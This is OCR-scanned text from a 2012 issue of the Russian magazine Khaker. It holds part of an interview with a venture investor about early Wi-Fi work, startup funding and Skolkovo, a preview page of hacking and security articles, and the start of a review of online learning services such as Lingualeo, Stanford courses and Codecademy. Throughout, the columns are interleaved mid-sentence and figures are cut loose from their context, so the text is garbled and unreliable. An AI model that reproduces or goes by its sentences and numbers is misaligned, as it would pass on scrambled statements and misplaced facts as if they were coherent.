Вся история 90-х строится н а том, что мы

блему в более масштабном виде. Так я начал двигаться к своему фонду.

РОР'шных или ОЕС'овских, открытые про­

были воспитаны на инженерной науке , на

токолы, соответственно, с их помощью можно

создании этих, в каком-то смысле единичных,

интересны х компани й, у которых нет знаний ,

Меня начало увлекать , что есть много

много чего организовать в сетях. Нам нужно

образцов, чтобы удивить мир. Ч тобы показать,

а я мог бы с ними поделиться, потом вложить

было передавать для «звездных войн>> целую

что <<мы не хуже>>. Коммерческая составляю­

куда-то деньги.

кучу потоковой информации, сливать с разных

щая ни у кого не сидела в голове- было жела­

маленьких спутников. Это можно было делать

ние сделать и удивить.

единственно таким вот образом. Новорожден­ Мы к этому времени уже начали сотрудни ­ чать с

Sun. И

вот они присылают нам спец­

ификацию и говорят: « Е сть протокол

Когда мы делали первый

VPN,

интернета

еще толком не было , браузер появился позже .

ной России все это уже было не нужно.

802.11,

Я очень люблю молодых nредnринима ­ телей , которые говорят совершенно новые и порой непонятные вещи ... Но главное, чтобы они говорили на понятно м языке

...

Всесуперкомпаниисоздавалисьлюдь­

Сервер, установленный в нашей компании

<<Элвис+>>, был в nервой полусотне [если не

ми в возрасте от

в числе первых нескольких десятков) веб­

статистику потерянных компаний и компаний,

20 до 30 лет.

Н о если брать

который сейчас находится в разработке, а вы

серверов в мире. В этой эйфории мы ползли

которые выстрелили для венчурного капи­

можете свар г анить РСМС I А-карточку?>>. Ну, я

за Sun'oм, который « п рисылал н ам девять тонн

талиста, то, на п ротив, полу ч ается, что нужно

и собрал команду ...

оборудования>>. Мы начали строить мейл­

вкладывать в людей, которым уже

серверы- это направление потом выродилось

:). У

в компанию <<Эл вис Телеком>>. К примеру,

доводят до логического конца то, что созда­

мы делали факс-серверы- у

ют. И пусть на них не заработать

Сам nротокол

802.11

мы , конечно, не изо­

брели . Этим занимается lпterпet Eпgiпeeriпg

Task Force.

Мы, конечно, писали какие-то

до п олнения . Считать нас родителями

Wi-Fi

не­

правильно, но первые рабочие образы сделали мы. В общем, были пионерами. Мы побили Motoгola, военных, и много

Microsoft такой

появился только где -то в конце 90-х годов. Мы пионерили во многих этих вещах . И сейчас вспоминаешь и думаешь: <<Вот ты хо­

на

5-,

40-50

лет

них есть опыт и они, по крайней мере,

Google

1000%,

как

или на чем-то там, но ты nолучишь

10-кратный возврат инвестиций.

Должен быть баланс между риском

дил по таким кладезям идей, и если бы кто-то

вложения денег в очень молодые головы и в

кого еще. Была интрига: ведь Suп раздал

мог правильно вложить бизнес-науку ... >>. Было

состоявшихся предпринимателей [так назы­

конкуре н тные предложения нескольким фир­

множество инноваций, но мы не знали, как ими

ваемых

мам. И вот мы, какие-тонепонятные русские,

распоряжаться. Д ля меня бизнес тогда был

имелинеуспешный бизнес и пытаются вести

привозим работающий образец. Все в шоке

п ростой : что -то сделать, продать, заработать

успешный, либо уже сделали успешный и те­

и в трансе . Suп принимает решение, ч т о в нас

деньги.

перь хотят создать еще лучше. У после д них,

надо инвестировать. Для них это была во­

repeated eпtrepreneurs), которые либо

У нас было много собственных идей ,

обще первая в истории ком п ании и н вестиция

но для нас было важно знать , « ч т о проис­

в кого-либо.

ходит на кухне ». Интернет не был сильно

ХАКЕР

026

www.epidemz.net

04 / 159/2012

Интервью с венчурным инвестором

по меньшей мере, есть жила пре одолеть все

и там уже существую т двадцать компаний по­

ная, способная и самокритичная команда.

болевые точки, удары, и они дойдут до конца,

добного рода ... Было бы странно поверить, что

А если они на что-то не способны, то должны

они все это уже проходили. А молодой человек

все будет хорошо. Особенно когда антрепренер

четко открыться и сказать: у нас нет пони­

даже с супереветлой идеей может сломаться,

впервые делает компанию, имеет только идею,

мания в такой-то области, или, например,

или его вообще пенесет в десяток других идей,

и даже прототипа как такового у него еще нет

поэтому есть неуверенность в этом деле.

Увы, это не наша стадия.

В фонде

Almaz 2 мы

...

маркетинг. Д олжны признавать: да, у нас есть хороший человек, но мы хотели бы другого, вот

планируем вложиться

где-то в сорок компаний очень ранней стадии,

нет в команде человека, который понимает

КА К ПРИХОДИТЬ К ИНВЕСТОРУ ?

с такими-то параметрами.

Важно, чтобы люди понимали, в какой

когда они еще требуют небольших денег.

Есть такая nроблема, что люди пытаются

Но мы будем это делать вместе с акселерато­

прийти прямо ко мне. Но лучше, когда они по­

рынок они играют. Нуж но понимать свое место

рами, либо с какими-то инкубаторами. Кто-то

падают в систему и наш процесс. Когда пишут

в рынке, кто ваш реальный конкурент. Когда

другой будет «нянчить>> всех этих людей,

напрямую мне, я могу что-то случайно про­

пишут в конкурентах

которые будут эванить по ночам и за давать

пустить, не прочитать- сыпется оче нь много.

курент, даже у

вопросы. Нас не хватит на них . Но мы сможем

Начинаются обиды. Предприниматель же счи­

есть всего четыре компании, которые движут

подобрать их на следующей стадии, когда они

тает, что то, что у него сделано- это лучше

миропонимание:

уже немного оперятс я и смогут двинуться на

всего и неповторимо, и в мире такого больше

и Amazoп. Все остальные пытаются под­

следующий этап . Наш фонд старается не участвовать в опе­

ративном управлении компаний, в которые

Google ... Ну, он у всех кон­ Microsoft и IBM. Сегодня вообще Apple, Google, Facebook

нет. А если я не уделяю этому внимания, значит

строиться, в том числе и

я идиот, или зажравшийся ... человек .

найти, как и где сканкурировать с этой новой

Правильно nрийти к венчурному инвесто­

Microsoft . Пытают ся

волной и остаться на вершине. Народ ленится посмотреть , что, вообще­

инвестировали. Да , приходится влиять на

ру- это сначала сходить на его сайт и посмо­

него. Иногда. Но забирать эту пальму пер­

треть, что именно он хочет, что рассчитывает

венства у антрепренера- самоубийство,

увидеть. Как правило, мы публикуем такие

компаний, у которых есть деньги. И нужно

и мы стараемся этого никогда не делать .

требования .

сравниться с ними с точки зрения своих ре­

то, в области есть куча проинвестированных

сурсов, людей. Понять, как выиграть у них эту игру. П онять, как двигаться дальше, как будут использоваться деньги, зачем вообще нужны деньги.

СЧИТАТЬ НАС РОДИТЕЛЯМИ

Важно пони мать : венчурный фонд- это

WI-FI

НЕПРАВИЛЬНО,

НО ПЕРВЫЕ РАБОЧИЕ ОБРАЗЦЫ СДЕЛАЛИ ИМЕННО МЫ.

сервисная компания. Это не есть компания, которая ведет тебя к успеху. Это всего-навсего

сервисная компания, которая помогает тебе туда прийти. Поэтому инициатива всегда должна находиться в руках СЕО, предпринима ­

теля !или антрепренера, как мы чаще говорим! и так далее.

Компания для nредnринимателя- ребе­ нок. Самон-неумелый родитель . А мы­ эдакие опытные няни . С этой точки зрения,

если мы будем навязывать ему, что делать, это будет неправильно. Он должен обращаться Во всем венчурном мире ты лучше работа­

к нам и говорить : <<Вот у меня ребенок захны­

ешь с nроектами, которые приходят по какой­

кал, что делать? Какие бывают варианты, что

серьезная завязана- это требует очень

торекомендации,отчеловека,которомуты

мне нужно сделать, чтобы он успокоился? Или

много денег. Мы все-такинебольшие фонды,

доверяешь. Когда тебе говорят: «Сащ посмо­

«Вот он хочет заниматься какими-то другими

и рассчитываем вложить lв «Алмазе>>, по

три, вроде бы интересно>>, то в первую очередь

игрушками, делать что-то другое. Что в таком

крайней мере ! за время жиэни семь, макси­

ты, конечно, смотришь на эти проекты .

случае предпринять? Дать ему возможность

В некоторые ниши мы не вкладываем­

ся. Например, в

e-commerce,

где логистика

мум пятнадцать миллионов в команду. Этого

Я не люблю бизнес-планов. Их никто

заниматься другими игрушками?>>. Вот здесь

явно мало для построения такого бизнеса как

не любит. Это в каком-то смысле устаре в­

венчурный капиталист очень полезен: он мо­

e-commerce

ший формат. Нет, конечно, бизнес-план был

жет прийти, помочь и многое сделать.

и уверен н ости, что эта компания

взлетит и куда-то двинется.

нужен когда-то, когда не было возможности

Часто венчурные капиталисты выступают

запомнить и проверить все, что тебе говори­

в роли такого

большие риски, но они измеримы в реальных

ли . Сейчас все это можно в два счета сделать

выстроить команду, заменить, подрастить

деньгах, которые мы можем дать. Даже если

в презентации на пятнадцать слайдов и все

ее. Но все антрепренеры разные. Бывают

компании требуется больше чем пятнадцать

факты прикрыть линкамина отчеты, справки,

и такие, кто считает, что раз их компания

миллионов, с каким-то партнером ты можешь

аналитику и так далее. Хорошо, когда прихо­

растет, приносит прибыль !хоть маленькую!,

это сделать.

дит презентация и к ней существуют сопут­

значит, все - они г ерои, они уже могут жить не

ствующие материалы: ты можешь почитать,

по средствам.

Нам ближе софтверные компании. У них

У нас есть четкое требование: мы хотим видеть, что это миллиардный рынок . При­

HR

или хэдхантера , помогают

проанализировать и сказать: <<да, вот анализ

П РО МОЛОД ЫЕ ПРО ЕКТЫ

чина проста: мы должны бы т ь уверены, что

по конкуренции с делан правильно>> или

у компании есть возможность маневрировать.

<<анализ рынка и позиционирования сделан

Еще несколько лет назад мы смеялись над

Если компания врывается на только откры­

неверно>>.

тем, что есть такие чемпионы всех конкурсов,

вающийся рынок !даже если этот рынок очень

Очень важно, когда человек хорошо nред­

которые с одним и тем же nроектом ходят

интересен в перспективе, но его размер со­

ставляет, что он умеет и что нет. Ведь важнее

по всем тусовкам и везде его продвигают. Их

ставляет всего порядка двадцати миллионов!,

всего понять, что к тебе пришла правиль-

было считанное количество. На сегодняшний

ХАКЕР

027

04/159/2012

www.epidemz.net

·coVER STORY который занимается наnравлением Softwaгe­

Defined

Netwoгking. Ведь проблема номер

один больших компаний и тел екома- уде­ день я бы так не сказал. Существует достаточ­

определенного размера и дальше роста у них

шевить все затраты на сети и ЦОДы за счет

но много интересных проектов, интересных

нет. Они не могут вырваться из этой ниши, пото­

виртуализации слоя сети . Это большое

уже с точки зрения совершенства представ­

му что у них нет базы знаний, они не знают, что

направление, модное и популярное. Я с трудом

ления.

дальше существует в индустрии, что они могли

затаскиваю его в Сколково, чтобы построить

бы решать. И это только одна из проблем.

исследования совместно со Стэнфордом . Но я

Есть nроблема- многие идеи мелкие . Они нишевые и нацелены только на Россию. Люди

Когда !Т-nредnриниматели быстро до ­

рассчитываю, что из этого проекта может

не осознают рынка глобального. А на россий­

биваются очень больших усnехов, а nотом

появиться новая плеяда мыслящих ученых,

ском рынке только складывается культура

начинают nросаживаться . Это другая про­

могут родиться прорывные компании.

покупки компаний . Я всегда привожу в пример

блема. При чина одна- они зарабатывают

Google . Статистику за 2009 или 2010 год, когда они купили 42 компании. Из них только две были объемом 400 миллионов и миллиард. Все остальные сорок были ... ну, средний чек составлял 25 миллионов. Значит, кого-то они

много денег сами, владеют практически

ково должно сыграть большую роль именно

всей компанией и зарабатывают от

в накоплении и формировании базы знаний

в следующий этап у них нет. Им сложно- они

отраслевые НИИ, сейчас их нет. То есть, где

купили за пятьдесят, кого-то- за один. Услов­

хотят, но, с другой стороны, им придется рас­

должна база знаний формироваться- непо­

но . Или за

В России чек будет ниже в

1 до 10

У нас не формируется база знаний. Скол­

миллионов долларов в год. Им ничего не

в индустрии. Быть может, даже большую, чем

надо- у них жизнь удалась. Амбиций роста

оно играет сейчас . В старые времена были

ставаться с этим полным владением того, что

нятно. У нас есть неплохие сетевые инженеры,

раза. Условно, средний чек сделки в России

они делают. Есть, к примеру, такая компания

есть не плохие институты, которые готовят

должен составля ть

JetBгaiпs из Пит ера, вот она запросто может

неплохих сетевых инженеров, просто они

на

3,

10-30.

25

миллионов поделить

ну пусть это будет

ний чек

1О

2-3

8-10

миллионов. Сред­

миллионов, но если я хочу иметь

стать миллиардной компанией. Но их, видимо,

не имеют индустриального пони мания, куда им

удовлетворяют те

дернуться и двинуться. Если же создать базу

40-60

миллионов долларов

соответствующий возврат, я должен вложить

оборота, с которыми они работают. И владель­

знаний, они будут видеть: вот оно - лежит.

более

цы как бы игнорируют всех, им не интересны

Скажем, к примеру, если я напишу некий

деньги никаких венчурных капиталистов.

софт, чтобы роутер быстрее работал [именно

Но приятная штука в том, что в России таких

софтовый роутерl, то вот- я могу создать

компаний довольно много.

и компанию на основании моих исследований.

300

30%

компании . Я должен вложить тысяч

и получить обратно свои

это будет нормально . Но за

3 миллиона, вот 300 тысяч, вроде

бы, и компанию не построишь. Или надо на­ строить такие компании, которые бы уклады­

Вот такие я вижу возможности.

вались в эту экономику . Это та часть осозна­

llk•l•ik•l:lel

ния, которая еще приходит. И формируется

Если я увижу в Сколково « расnил бабла» , я

nравил. Сейчас же там для компаний, которые

венчурный рынок. Н о количество компаний

сразу наnишу заявление об уходе . Думаю, та к

получают гранты, устанавливают правила:

выросло, хотя есть вот такие проблемы .

поступят и другие люди из совета директоров.

например, средняя зар плата должна быть

Эрик Шмидт, любые другие иностранцы ... Если

только такая-то. Или говорят, что нельзя пере­

удивить мир (новые Paгallels, Касnерские,

они это увидят, они уйдут. Может ли в Скол ко во

распределять бюджеты. Но ведь бывает и так ,

Акронисыl не много . Я всегда объясняю, что

появиться « распил>>? В строительстве, в схе­

что компания очень динамичная. Может быть,

причина в том, что, во-первых, у нас нет таких

мах строительства, наверное, что-то может

компания заявила, что бюджет надо было

индустриальных лидеров, чтобы вот э ти «темы»

про изойти. Но чтобы он появился именно

потратить на маркетинг, но теперь его нужно

можно было ловить и пони мать, где существуют

в области фондирования компаний ... вряд ли.

потратить на покупку пяти дополнительных

«дырки», которые можно залатать . Во-вторых,

По крайне мере, там явно сегодня не нужно да­

компьютеров. А им говорят- нет, нельзя, надо

у нас нет исследований . В старые времена

вать никому никаких о тк атов, чтобы получить

тратить на маркетинг! Вот эта совковость, ко­

были отраслевые НИИ, сейчас их нет или

гранты или статус участника. Все это делается

торая сидит в Счетной палате , в Минфине, она

совсем мало. То есть, непонятно, где должна

очень по-честному.

и заставляет Скол ко во жить по правилам, и это

Проектов

«go global», которые

могут

формироватьсябаза знаний. Поэтомукомпа­

Сколково должно быть исключением из

Грустно , но хорошие комnании не хотят

можетпогубитьСколково .

нии в основном создаются людьми, которые

брать гранты в С колково-с ними куча возни.

начинают писать софт: смотрят, что где-то есть

Я говорил со многими, и они считают, что у них

дженералисты, которые имеют nонимание

какие-то проблемы, и что-то там решают. Часто

нет времени на все эти отчеты. Но пока эти

в технологиях, имеют достуn к эксnертизе.

решают они очень нишевые задачи. А вот рас­

самые отчеты не сделаешь- следующий этап

Как венчурный капиталист, я ведь не экс перт

ширение бизнеса зачастую затруднительно.

гранта не получишь . Значит, возникают кассо­

во всем. Если мне нужна какая-то специальная

Есть куча людей, которые на таком нишевам

вые разрывы. Вот компании и считают, что все

экспертиза, я нахожу человека на мировом

софте зарабатывают деньги

это нафиг не нужно, один геморрой.

[Famatech и их

RAdmiп, скажем, и можно назвать еще много

интересных компаний), но они вырастают до

Сейчас я затаскиваю туда исследова­ тельский nро е кт nод названием

OpenFiow,

Сколково нужны такие эксnерты­

рынке, которому я могу доверять: я знаю, что

это именно тот человек, который может под­ сказать мне, хорошо это или плохо. Н о я все же отвечаю за результат и своей репутацией. В Сколково нужно создавать атмосферу nростоты, nрозрачности , доверия и реnута­

цианной ответственности. Когда не просто

ТРИ ПОЖЕЛАНИЯ ПРЕДПРИНИМАТЕЛЯМ

существует какая-то компании, а за компанией

строит конкретный антрепренер, чья репута­ ция какими-то вещами либо поднимается, либо

1

БЫТЬ НЕМНОЖКО

CRAZY

2

УЧИТЬСЯ НА ОШИБКАХ

3

СТАВИТЬ АМБИЦИ­

опускается. Вот в таком случае, думаю, такая

ОЗНЫЕ ЗАДАЧИ

атмосфера сложится. Так живет Кремниевая

Стремиться оставаться

И делать их как можно

И так их отмерять, чтобы

долина. Чтобы создать это, нам нужно, чтобы

немножко ненормальным,

больше. Но никогда

даже если ты достигнешь

было кипение, круговорот открытости и всего

даже если это непонятно

не повторять!

20-30%

окружающим.

от задуманного,

то мог бы собой гордиться.

остального. Я хочу верить , что получится. Иначе будет трудно запустить инновационную индустрию в Ро ссии.

::I:

ХАКЕР

028

www.epidemz.net

04/159/2012

Preview

30 страниц на одно й

поло се .

Ти з ер н екото ры х с тате й .

PCZONE УНИВЕРОНЛАЙН ЗО

Осв(Jить новый для себя язык програм­ мирования сего дн я просто как никогда.

Чтобы получить минимальный базис, с помощью которого можно начать

разработку простей ших приложений, теперьнеобязательнодажечитать

умные книжки. Для многихтехнологий появились очень доступные и понятные

обучалки,которыевинтерактивном режиме позволяют пощупать новуюдля

себя технологию без лишней при л юдии и зан удства. А для фундаментальных

предметов ведущие ВУЗы мира разра­ батываютонлайн-курсы, позволяю щ ие прослушать лекции, ранее доступ н ы е

только студентам за бешенные деньг и.

взлом

PCZONE

DuckDuckGo 36

РАСШАРИТЬ ПРИЛОЖЕНИЕ !

«GOOGLE СЛЕДИТЗА ТОБОЙ , МЫ-НЕТ »

М ожнолипере н естиокноприложенияиз

Googleyжe да вн о м ейнстрим. Гики

Wlпdоws - с и с те м ы в Liпux и п ро д о л жить

предпочитаю т др угой пoиcкoвик ­

NET п р иложени й ,

с ним рабо т у? М ожно, есл и ус т а н овить на

DuckDuckGo, ко т орый заботится об

wе Ь - р азрабочик и , мо гутс та ть причиной

обоих ком п ью т ерах yтилитyWinSwitch.

анонимности п о л ьзователей.

вз л ома. Р азбираемся на при м ере.

взлом

ТЕМНАЯ СТ ОРОНАТРАССИРОВКИ

56

Механизмы отла д ки и трассировкиАS Р.

кот о ры ми пользуютс я

MALWARE

взлом -Maii.Ru Агента ПОЛУЧАЕМ ДОСТУП К ИСТОРИИ ПЕРЕПИСКИ И КОНТАКТАМ В ПОПУЛЯРНОМ МЕССЕНДЖЕРЕ

..

-~

ВЗЛОМ MAIL.RUAГEHTA

60

Эта статья н е о вз л оме замечательного мессенджера. Это история атом, как с

нуля был отреверсен формат, в кото р ом хранятся сооб щения пользователя.

Х АКЕР

•

С АНТИВИРУСОМ ПОКОНЧЕНО Последняя статья из серии о внутреннем

устройстве анивирусов. В этот раз мы рассмотрим мониторинг сетевой актив­ ности и песочницы.

04/159/2012

•

НЕИЗВЕСТНАЯУГРОЗА Испытываемэвристику аверовна самых новых вирусах, которые еще не

появились в базах п опулярных анти­ в и русн ы х решений.

029

www.epidemz.net

PCZONE

Каnитан Улитка

МОЖНО ЛИ СТАТЬ СПЕЦИАЛИСТОМ В НЕ ВЫХОДЯ ИЗ ДОМА? ДА! На одни х только статьях журнала « Хакер » далеко не уедешь. Это я тебе точно говорю . Если х очешь стать настоящим специалистом в области IT, необходимо учиться

и обязательно получить фундаментальные знания о предмете .

К счастью, сегодня для этого возможностей больше, ч е м когда -либо . В Сети не только доступно множество учебников бесплатно , но и стремительно развиваются совершенно новые , прогрессивные способы обучения . И особенно э то

касается нашей -IТ'шной- специальности .

ц

IT,

ель данного материала - по казать, насколько просто сегодня можно

обучаться самостоятельно . Бы-

стро осваивать новые технологии и языки

программирования. При этом делать это не в напряг и получать настоящее удовольствие

от обучения. Я н е претендую на полноту кар­ тины, и эта статья, само собой, не является

сборником всех проектов, которые могут по­ мочь тебе в самообразовании. Но я постарал­ ся собрать некоторые особенно интересные сервисы, которые были интересны лично мне.

Уверен, они пригодятся и тебе.

ХАКЕР

030

www.epidemz.net

04 / 159/2012

Универ онлайн

Изучаем английский язык

· · .

Я с ерьезно рискую, начиная этот материал со

интересные возможности. Большинство авто­

Короче говоря, изучение языка нужно добавить

с лов «английский язык>> . У многих людей с ним

ритетных конференций проходит на английском.

в свой личный список дел в качестве одного

с ложности, и ирония в том, что чем серьезнее

В самых круnных сообществах сnециалистов

из приоритетных пункта в. Сказать по правде,

проблема, тем больше люди противятся его

nринят английский язык. Известные ученые ве­

абсолютное большинство ресурсов, о которых я

изучению, приДумывая отговорки и оправдания .

дут блоги и пишут статьи на английском языке .

буду говорить далее, требуют хотя бы минималь­

Как бы там ни было, могу тебе сказать с пол-

На английском языке говорят в Силиконовой до­

ного знания английского. Однако для первого

ной уверенностью: по-настоящему успешный

лине. И на нем же изъясняются программисты из

nроекта из нашего обзора иностранный как раз

!Т-специалист если и может обойтись без

Индии, которых стало так много, что спрятаться

английского языка, то упускает при этом многие

от них у тебя не получится при всем желании

LINGUALEO

:1.

ческих минивыступлений с TED.coml, лекций из западных университетов [в том числе по

Есть простое правило: чтобы лучше и уверен­

иностранному языку! и так далее. Все это

нее подтягиваться на турнике, нужно больше

разбито на категории по тематике, сложности

и чаще подтягиваться на турнике. Просто ин­

и рейтингу у пользователей. Но главное за­

тенсивнее заниматься. Так же и с английским:

ключается в том, как именно сервис позволяет

чтобы хорошо понимать на слух английскую

этот контент потреблять. Рядом с видео выво­

речь, не вслушиваясь в каждое слово в по­

дится полная расшифровка речи, поэтому ты

пытке разобрать хоть что-то, нужно больше

всегда можешь прочитать непонятный на слух

слушать этой самой речи. Можно начать с про­

фрагмент. Встречаешь не известное слово?

~

.... ~--·"-"

1

себя контент и быстро разбираешься с непо­

смотра какого-нибудь сериала, подключив

Один клик,- и

для уверенности оригинальные субтитры, но ...

перевод и заносит это слово в твой личный

нятными местами. Для себя я не вижу лучшего

по сравнению с тем, что представляет сервис

словарь, чтобы дальше с помощью самых раз­

способа, во-первых, nополнять словарный

Lingualeo

тут же показывает

не нужен- напротив, он направлен на то, чтобы

ты быстро прокачал свои знания «ИнЯз'а» .

Lingualeo.гu,- это прошлый век. В его базе

ных упражнений ты мог запомнить его и начать

запас, а во-вторых, привыкнуть к английской

уже собрано огромное количество сериалов,

использовать в нужном контексте. Никаких

речи. Чтобы «Отрабатывать» те слова, которые

всевозможных фильмов, заnисей различных

тебе больше ковыряний с субтитрами и сло­

nросто встречаются в интернете, я давно себе

семинаров и выступлений !например, темати-

варей, -ты просто смотришь интересный для

установил специальный аддон для браузера .

Онпайн-универы Найдется немало людей, которые захотят по­

что всему можно научиться самостоятельно,

[например, в iTunesl, но и вообще формиро­

спорить о том, необходимолиИТ-специалисту

-было бы желание. Последнее стало еще

вать культуру преподавания университетских

высшее образование. Правы те, кто говорит, что

проще после того как ведущие западные вузы

nредметов онлайн. Хотел бы я сейчас отметить

фундаментальные знания остро необходимы.

с зашкаливающей стоимостью обучения начали

подобные инициативы со стороны российских

Но можно согласиться и с теми, кто утверждает,

не только выкладывать видео своих лекций

вузов, но здесь сказать пока нечего.

У ЧЕБНЫЕ К У РСЫ ОТ СТЭНФОРДА

ственный интеллект» ! a1.:cla~.coml. <<Введение

Криптография ! cs101-cla!>_s.oгa l;

в базы данных» [ db:c l ass.oгa l . Каждый из курсов

Помимо непосредственно ИТ'шных предметов,

Университет Стэнфорда, расположенный в Кали­

состоит из лекций, проверочных работ и финаль­

есть пара курсов по предпринимательству

форнии , известен по всему миру. Фактически это

ного экзамена. В случае успешного завершения

[в области высоких технологий). Я пока успел по­

кузница кадровдлятехнологических комnаний

обучения студент получает сертификат в виде

слушать курс по машинному обучению и получил

Силиконовой долины, многие из которых рас­

РОF-файла, заверенного цифровой подписью

огромное удовольствие. Курс построен таким

положены в Пало Альта- в том же городе, что

преподавателя.Экспериментоказалсяуспеш­

образом , чтобы быть понятным практически

и сам университет. Попасть в С тэнфорд-мечта

ным , и в начале года Стэнфорд анонсировал

каждому, хотя, безусловно, знания в области

для многих молодых людей, которые жаждут

сразу дюжину новых курсов , в том числе:

дискретной математики и математического ана­

Информационная безопасность ! secuгitv Q.ass.oгa l;

лиза будут здесь очень полезны. Надо сказать,

читаешь про С тз н форд, тем больше радуешься тому факту, что осенью университет запустил

Проектированиеианализалгоритмов

субтитрами на случай, если что-то сложно разо­

проектбесплатныхонлайн-курсов.Изначально

[~ecur ity_class..osal; Теория и гр !cs i 01.:clas~.o.rgl; Информатика !cs iU1:class.orql;

брать на слух. Как правило, язык очень простой,

сделать карьеру в области ИТ. Чем больше

всем желающим nредлагалось пройти три курса :

«Машинное обучение» ! ml.:.:l~~.nro l. <<Искус-

MITX ОТ МАССАЧУСЕТСКОГО ТЕХНОЛОГИЧЕСКОГО ИНСТИТУТА

лась информация о первом курсе, который будет

что видео любого из курсов сопровождается

позтому все понятно даже со средним уровнем

английского .

да вателей-профессор Джеральд Сассмен,

проходить с помощью этой системы- <<6.002х:

который создал язык

Схематехника и электроника». Обучение начнется

одного из самых лучших учебников по програм­

весной и потребует примерно десять часов в не­

Scheme

и является автором

вестном западном вузе. Тоттоже пошел по стопам

делю. Предмет непростой, поэтому допускаются

мированию- <<Stгuctuгe and lnteгpretation of Computer Pгograms». В скором будущем обеща­

С тэнфорда и в начале года анонсировал раз­

только студенты, обладающие необходимыми

ется появление и других предметов. Уверен, что

работку

знаниями по электричеству, магнетизму и диффе­

подобное по зубам и российским учебным заведе­

ренциальномуисчислению . Средитрехпрепо-

ниям, которые просто обязаны не отставать.

Ты наверняка слышал и о

MIT- не

MITx -технологической

менее из­

платформы для

онлайн-образования. И вот уже в феврале появи-

Х АКЕР

031

04 / 159/2012

www.epidemz.net

PCZONE ~ iq"!.et:Y

JavaScript Главное, о чем я хочу сегодня рассказать­

сколько особенно модных языков програм­

взаимодействие с пользователем. Особен­

конкретный язык программирования. Тут

мирования: Python, Ruby !п люс Ruby on Rail sl и, конечно же, Java5cгipt IHTML51. С послед­

Java5cгipt совершенноневозможные вещи:

очень заметна закономерность: чем актив­

него и начнем.

взять хотя бы проект виртуальной машины,

нее язык развивается и набирает популяр­

Ни одно современное веб-приложение не

на которой вполне себе успешно запускается

ность, тем больше появляется инструментов

обходится се г од ня без ударной дозы кода

Linux l be l laгd . o г g/jsl i n ux l . Но этот случай мы

для его изучения. Для nримера я взял не-

на J5, на которо м полностью реализовано

рассматривать не будем

э т о серви.сы, позволяющие изучить вполне

CODECADEMY

:1.

Се крет у спеха в изящн ос ти процесса обу­ чения. С помощью специального интерфейса

www.cod ec ademy.com

ст у дентам сразу же начинают рассказывать

о базовых особенностях языка и его с ин т ак­

Простой вопрос: какой самый проверенный

сиса, и, что важнее всего, предлагают сразу

способ выучить новый язык программирова ­

проверить знания в действии, набрав код

ния? Взять умную книгу и начать ее читать.

в специальной консоли. Все это происходит

Этот подход никогда не устареет. Так было

в браузере, без необходимо с ти уста навливать

двадцать лет назад, так есть и сейчас . Однако

что-либо на своем компьютере. Шаг за шагом

сложно представить, что к

ные гики умудряются имплементировать на

21

веку не приду­

_,.,..,. WeH

donellь.\ong

HndOLrtЬytyp\l'lg)'OUr.-

isyouriiCIIII!?

Clfte.-~cllq)\etethetnstf"Vtti.ons).

Gl"eCtjoЬINoll,iet'sdosomemoth.You~doiiiOththroughprogriiiiiiiHIQI

Totolw\ot•2•2,jvsttype 2•2

...... -·-··-.. " ........

можно быстро разобраться, что к чему, и по­

11

нять все базовые принципы Java5cгipt. Чтобы

тем более- обучения программированию.

еще больше стимулировать студентов к обуче­

: ::1:•! '= 0 ~:-·:~lloк,..;ooooelt.\

Codecademy- э т о стартап, позиционирующий

нию, по мере nрохождения курса им выдаются

себя как школу разработчика. За семь десят

награды.

Прое кт быстро получил финансирование

For~~~e,thot'dЬe " Ryan· . tangth

_,

мали более прогрессивных методов обучения,

два часа после открытия он собрал более

i.nquote:s

onctendi.ngi.twf.th. l tniJth .Pr-tsfoet'ltercfterwords(dothisf~nowor~

1

..... ••• loLooll ··•••! "".. - .......... , , -,.,

nлатформе Codecademy. Проект выбрал

двухсот тысяч lвдумайся в цифру!! начинаю­

и очень скоро обещает значительное попол­

модель UGC IUseг-geneгated contentl и сейчас

щих программ истов, предложив им пройти

нени е учебных курсов. Уже сейчас доступна

активно приелекает к n ополнению контента

инт еракти вный курс Java5cгipt.

система для создания своих курсов на готовой

сообщество .

ВЫУЧИТЬ

JQUERY

ЗА ТРИДЦАТЬ ДНЕЙ

портал

Nettuts+, известный своими каче­

ственными обучающими статьями, разработал специальный курс . Курс разбит на тридцать

leaгnj query. tutsplus . com

уроков-скринкастов по пятнадцать минут

каждый, что позволяет день за днем посте­ Неотделимой частью Java5cгip t постепенно

пенно брать библиотеку на вооружение. Как

стала библиотека jQueгy, упрощающая работу

ни крути, а пятнадцать минут можно найти

с НТМL-документом, обработку событий,

всегда. Да и формат обучения очень приятный:

создание анимации и реализацию AJAX.

лично для меня нет ничего более понятного,

Фактически jQueгy во многом изменил подход

чем непосредственная демонстрация кодинга

к прогрвммированию на Java5cгipt. Разобрать­

с комментариями по ходу дела. Для тех, кто

ся с библио т екой в принципе неслож но. Но

только начинает изучать J5, есть и видеокурс

чтобы сделать это еще более безболезненно,

этого же автора I Ьi t .l y/AqK4sO I.

ПЕРВЫЙ ПОЛЕТ НА JQUERY

рых включает в себя обучающий скринкаст

Learn jQuery in зо Days (It's free.) Each d~y you' ll Ье sent 11

f~e

video \esson.

Лt

theend of the

month, you'U Ье аЫе to confidently use jQU('ty ln your projects, withouthelp.

и интерактивные упражнения по программи­

codesc hool .co m/co urses/j que г у-а i г-fi rs t-f 1igh

рованию, реализованные прямо в браузере. За

прохождение заданий начисляются очки !на­ Если спросить, кто снимает скринкасты

пример, 350 за решенную задачку! . Е сл и где-то

эталонного качества, то среди победите-

возникла трудность, можно попросить под­

лей совершенно точно будет онлайн-школа

сказку, но в этом случае не избежать штраф­

программирования c<>de school . Это очень

ных баллов. На первом уровне предлагается

профессиональный nроект, предлагающий

nройти азы Java5cript, на втором- селекторы,

как платные, так и бесплатные курсы для

на третьем- (55-атрибуты, на четвертом­

специалистов различного уровня. Курс <<jOue гy

манипулирование с НТМL-элементами и DOM,

Аiг : Fiгst Flight» долгое время был платным, но

на пятом- работа с событиями. Чтобы пройти

с недавнего времени открыт всем желающим.

курс, необходимо выполнить пятьд есят пять

Он состоит из пяти уровней, каждый из кота-

простых и не очень у nражн ений.

ХАКЕР

032

www.epidemz.net

04 / 159/201 2

Универ онлайн

Ruby и Ruby оп Rails

.{; RAILS

Если ты читал в прошлом номере инт ервью

все . И ч ем бо льш е растет спрос, тем больше

Впр оче м, знание языка пригодится, даже ес ли

с Аленой Владимир ской, кото рая по прав у счи­

ста н овятся зарплаты. Е сли у тебя есть опыт

ты не собираешься работать профессиональ­

тается ведущи-м хедхантером Р унета, то уже

программирова ния , и ты хочешь переква­

ным разработчиком.

